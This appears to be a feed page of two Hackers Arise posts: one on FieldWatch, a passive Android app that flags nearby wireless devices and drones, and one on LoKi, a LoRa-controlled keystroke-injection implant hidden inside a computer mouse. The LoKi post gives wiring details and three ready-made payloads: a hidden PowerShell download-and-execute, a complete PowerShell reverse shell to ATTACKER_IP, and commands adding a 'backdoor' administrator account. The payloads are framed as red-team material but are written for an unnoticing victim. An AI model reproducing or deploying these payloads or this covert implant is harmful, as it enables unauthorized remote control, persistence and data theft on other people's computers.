❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

SDR (Signals Intelligence) for Hackers: Scanning Wireless Devices Using FieldWatch

13 October 2026 at 09:07

Welcome back, aspiring cyberwarriors!

As you know, there are thousands of Bluetooth and WiFi signals we pass through daily, especially if we live an active life in a big city. That includes tags, smartphones, WiFi routers, drones, surveillance devices, vehicles, body cams and mesh radios. Clearly it doesn’t stop here and the list goes on.

Many of you are privacy focused individuals and want to know what’s going on around you and whether you’re being tracked or watched by someone. That’s okay, protecting your privacy is a good thing. FieldWatch was made for this. It matches what it hears against an editable signature catalog of roughly 250 device types and shows the results in live views, recorded sessions, path maps and reports. Everything runs on the device and works fully offline.

FieldWatch

FieldWatch is a free, open-source Android app that listens to nearby Wi-Fi and Bluetooth signals using the radios already in your phone. It compares what it hears against a list of known device signatures and shows them. It only receives signals. It never transmits.Β 

Source: OGridPete
Source: OGridPete

You can set alerts for specific devices, record what’s present during a walk or drive, and later compare sessions. All the findings are sorted under their category. It also has basic GNSS interference detection and can send results to mapping tools like TAK. Matches are based on patterns, not guaranteed identifications, and the app only sees what the phone’s radios and Android allow it to see.

Depending on your preferences, you may want to see these devices on a radar or on a map. The app found the location of the drone operator as well as the drone itself.

Source: OGridPete
Source: OGridPete

TAK Support

TAK and ATAK are free mapping apps used by military, emergency responders and some civilians to share locations and information on a map in real time. FieldWatch can send what it detects straight to TAK over the local network.

When FieldWatch sees a drone that’s broadcasting Remote ID, it can place a moving marker on the TAK map for the drone and a second marker for the pilot if that location is available. Other devices it finds, plus any GNSS interference alerts, can also appear as markers. Several phones running FieldWatch can send data to the same map at the same time, so a team sees the same picture.

Source: OGridPete

GNSS Interference Detection

Newer versions check for signs of GPS interference or spoofing using the phone’s own receiver. After a short outdoor calibration, it can alert you and mark the spot on your path or on a TAK map. It shows where you were, not where the interference came from.

Source: OGridPete

Limits

Now let’s talk about its limits. It isn’t a direction finder. Also, it doesn’t scan Bluetooth Classic, cellular networks or full Wi-Fi traffic. Matches are based on patterns and those are not confirmed identities. Your results depend on the phone and what Android lets the app see. For better results use newer phones. Official versions only come from the GitHub repo.

Android App

Download the APK from the official GitHub page and sideload it. Android 10 or newer is required. Android 11 has more functions that can be used with this app. A short instruction file and manual are included. The repository has all the answers in terms of the app. It works on a cheap phone with no SIM card. OffGridPete recently posted that he used a Moto G for $30 for his test and it worked well. If you decide to use it, use it for your own privacy and security, and be respectful of other people’s privacy.

Summary

You can use your cheap phone as a scanner for devices nearby, and find jamming and tracking. There are different apps that do similar things, but they’re bound to Linux only, which is very inconvenient. FieldWatch works on an Android phone to find trackers, cameras, drones, body cams and more.

If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post SDR (Signals Intelligence) for Hackers: Scanning Wireless Devices Using FieldWatch first appeared on Hackers Arise.

Persistence: Sending Keystrokes from Kilometers Away with LoKi

21 August 2026 at 10:04

Welcome back, cyberwarriors!

We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.

Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.

LoKiΒ 

LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.

Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.

the architecture of the LoKi device

The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.

Hardware

For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.

heltec v3 lite pinout

For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.

adafruit

And here’s a photo of his early prototype.

prototype of the LoKi device

Schematics

The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.

heltec v3 lite schematics

Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.

The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.

Firmware

The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.

You can use PlatformIO to flash the firmware.

Payloads

The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:

Download and execute a payload:

GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER

Create a reverse shell:

GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER

Add a local admin user:

GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER

There’s also a table we left for you to grasp the logic, if you’re not familiar with it.

a table with commands for LoKi

Summary

Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.

The post Persistence: Sending Keystrokes from Kilometers Away with LoKi first appeared on Hackers Arise.

❌
❌